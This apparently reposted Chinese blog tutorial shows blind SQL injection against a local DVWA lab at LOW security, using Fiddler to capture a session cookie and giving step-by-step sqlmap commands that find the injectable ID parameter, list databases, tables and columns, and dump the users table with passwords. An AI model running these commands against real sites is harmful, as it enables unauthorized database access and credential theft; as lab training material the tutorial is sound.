码迷,mamicode.com
首页 > 数据库 > 详细

DVWA下的盲注<SQLmap工具注入>

时间:2017-07-11 14:34:54      阅读:529      评论:0      收藏:0      [点我收藏+]

标签:sql注入   网络安全   入门学习   

LOW难度!!!

所需工具: DVWA环境、抓包工具、sqlmap

抓包工具用fiddler为例。



=====================================



先进入DVWA调整模式为LOW


技术分享







打开抓包工具,确定可以抓到http流量包


技术分享








DVWA下选择SQL盲注,随意输入一个USER ID后回车

会看到回显,用户ID存在

复制该网页链接,保存到记事本,等下sqlmap用


技术分享






用抓包工具获取本次提交的网页数据包里的cookie值

复制该cookie保存到记事本,等下sqlmap用


技术分享





打开sqlmap,查找注入点

输入命令:


-u             指定URL

--cookie     带cookie注入


python sqlmap.py -u "localhost/dvwa/vulnerabilities/sqli_blind
id=2&Submit=Submit"
--cookie="PHPSESSID=jsqauesftt001qeq4jmb1brq95;security=low"


过程中出现提示默认回车即可。



得到结果:注入点可能是ID,数据库为Mysql


技术分享






爆库:

--dbs     发现所有数据库 (参数前有空格)


python sqlmap.py -u "localhost/dvwa/vulnerabilities/sqli_blind/?
id=2&Submit=Submit"--cookie="PHPSESSID=jsqauesftt001qeq4jmb1brq95;security=low"
--dbs



列出数据库:

技术分享




--tables     列出数据库表  (参数前有空格)

-D            选择数据库


python sqlmap.py -u "localhost/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit"--cookie="PHPSESSID=jsqauesftt001qeq4jmb1brq95;security=low" --tables -D dvwa




查看列出的数据库表:

技术分享






列出users表的所有字段


–columns -T “users”<列出mysql数据库中的user表的所有字段> (columns参数前带空格)


python sqlmap.py -u "localhost/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit"--cookie="PHPSESSID=jsqauesftt001qeq4jmb1brq95;security=low" --columns -T users


可以看到字段

技术分享






把users表直接存到本地


-T users --dump


python sqlmap.py -u "localhost/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit"--cookie="PHPSESSID=jsqauesftt001qeq4jmb1brq95;security=low" -T users --dump


技术分享




打开下载的文件即可看到用户名,密码

技术分享





最后结果:


技术分享









本文出自 “10914757” 博客,请务必保留此出处http://10924757.blog.51cto.com/10914757/1946115

DVWA下的盲注<SQLmap工具注入>

标签:sql注入   网络安全   入门学习   

原文地址:http://10924757.blog.51cto.com/10914757/1946115

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!